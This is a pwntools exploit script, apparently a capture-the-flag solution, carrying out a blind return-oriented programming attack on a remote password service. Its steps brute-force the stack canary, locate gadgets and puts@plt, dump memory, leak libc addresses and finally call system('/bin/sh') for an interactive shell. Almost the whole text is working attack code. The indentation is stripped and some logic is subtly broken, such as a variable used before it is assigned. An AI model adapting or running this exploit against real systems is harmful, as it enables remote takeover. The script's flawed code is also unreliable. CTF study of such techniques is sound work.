1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
|
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
#io=process("")
#gdb.attach(io)
libc=ELF("./libc.so.6")
def get_offset():
i=1
while 1:
try:
io=remote("node1.hgame.vidar.club",31958)
io.recvuntil("password:\n")
payload=b'a'*i
io.sendline(payload)
data=io.recv()
io.close()
if not ("Incorrect password") in data.decode():
return i
else:
i+=1
except EOFError:
io.close()
print("success,overflow")
return i
def get_stop(canary):
old_addr=0x4007b2
length = 56
while True:
# time.sleep(0.5)
print(hex(old_addr))
try:
io.recvuntil(b"password:\n")
payload=b'a'*(length)+p64(canary)+b'a'*8+p64(old_addr)
io.send(payload)
out_put=io.recvline()
print(out_put)
time.sleep(0.2)
if b"killed" in out_put :
old_addr+=1
else:
print("you find stop gadget!-->",hex(old_addr))
return old_addr
except EOFError:
old_addr+=1
io.close()
def with_canary(io):
canary = b'\x00'
for i in range(7):
for j in range(256):
payload = b'a' * 56 + canary + bytes([j])
io.recvuntil(b"password:\n")
io.send(payload)
out_put = io.recvline()
print(out_put)
# Check if 'Incorrect password,' is in the output, regardless of other lines
if b'Incorrect password,' in out_put:
canary += bytes([j])
print(f"[+] Found byte {i+1}: 0x{j:02x}")
break # Continue to the next byte
else:
print(f"try again! {i}:{j}")
print("canary is ", hex(u64(canary)))
return canary
def common_gadgets_addr(canary,stop_addr):
old_addr=0x400a80 #通过hints跳过一些阻塞地址
while True:
old_addr+=1
time.sleep(0.2)
payload=b'a'*56+p64(canary)+p64(old_addr)
payload+=p64(old_addr) #前面用来一个覆盖了
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) #传参
payload+=p64(stop_addr) #返回到exit退出
payload+=p64(0) #看以往题解得知这里加零是为了防止程序异常崩溃,就当return 0好了
try:
io.send(payload)
out_put=io.recvuntil(b"password:")
print(out_put)
if b"killed" in out_put:
log.info("bad: 0x%x" % old_addr)
else:
log.info("you find possible common gadget!--> 0x%x" % old_addr)
payload=b'a'*56+p64(canary)+p64(old_addr)
payload+=p64(old_addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
io.send(payload)
out_put=io.recvuntil(b"password:")
if b"killed" in out_put: #这里是因为如果brop的gadgets地址是正确的,程序返回到主程序运行后崩溃
log.info("true brop gadget:0x%x" % old_addr)
return old_addr
except:
log.info("bad: 0x%x" % old_addr)
def get_puts_plt(canary,stop_gadget,brop_gadget):
pop_rdi = brop_gadget + 9 # pop rdi; ret; 与pop rbx固定偏移9字节,即pop r15的后两个字节 5f c3
old_addr=0x400700 #缩小范围,肯定在stop_gadget附近
while True:
time.sleep(0.2)
old_addr+=1
payload=b'a'*56+p64(canary)+p64(0)
payload+=p64(pop_rdi)
payload+=p64(0x400000) #打印出0x400000地址处内容,程序头地址,由于程序头魔数,方便判断
payload+=p64(old_addr)
payload+=p64(stop_gadget)
io.send(payload)
out_put=io.recvuntil(b"password:")
#这里是ELF文件的头部魔数,通过是否输出ELF文件头部来判断是否找到plt地址
if b"\x7fELF" in out_put:
log.info("puts@plt address: 0x%x" % old_addr-1)
return old_addr-1
else:
log.info("bad: 0x%x" % old_addr)
#dump程序的原理puts函数是通过\x00截断的,并且末尾会加上\x0a换行,我们为了
#防止特殊情况要进行替换,最后读到\x0a的话大概率就是\n
def dump(stop_gadget,canary,brop_gadget,puts_plt,start_addr,end_addr):
pop_rdi = brop_gadget + 9
rusult = b""
while start_addr < end_addr:
sleep(0.05)
payload=b'a'*56+p64(canary)+p64(0x12345678)
payload+=p64(pop_rdi)
payload+=p64(start_addr)
payload+=p64(puts_plt)
payload+=p64(stop_gadget)
io.send(payload)
data=io.recvline()
io.recvuntil(b"password:")
io.recvline()
if data == b"\n":
data=b"\x00"
elif data[-1] == 0x0A:
data=data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))
rusult+=data
start_addr+=len(data)
return rusult
#打印出puts地址后去找libc
def get_puts_addr(buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = b"a" * buf_size + p64(canary) + p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.send(payload)
io.recvline()
data = u64(data[:-1] + b"\x00\x00")
out_put=io.recvuntil(b"password:")
puts_addr = u64(data[:-1].ljust(8, b"\x00"))
log.info("puts address: 0x%x" % puts_addr)
return puts_addr
#size=get_offset()
#size=56
io=remote("node1.hgame.vidar.club",31968)
new_canary=u64(with_canary(io))
#stop_addr=get_stop(new_canary)
stop_gadget=0x4007c0
#brop_gadget=common_gadgets_addr(new_canary,stop_gadget)
brop_gadget=0x400b2a
#puts_plt=get_puts_plt(new_canary,stop_gadget,brop_gadget)
puts_plt=0x400715
"""
code_bin_file=dump(stop_gadget,new_canary,brop_gadget,puts_plt,0x400000,0x410000) #还可以从0x600000左右dump data段
with open("code.bin","wb") as f:
f.write(code_bin_file)
f.close()
"""
puts_got=0x602018
puts_addr=get_puts_addr(56,new_canary,stop_gadget,brop_gadget,puts_plt,puts_got)
puts_offset=libc.symbols["puts"]
libc_base=puts_addr-puts_offset
log.success("libc_base:"+hex(libc_base))
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+0x180543 #/bin/sh
payload=b'a'*56+p64(new_canary)+p64(0)
payload+=p64(brop_gadget+9)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload+=p64(stop_gadget)
io.sendline(payload)
io.interactive()
#print("offset is ",size)
|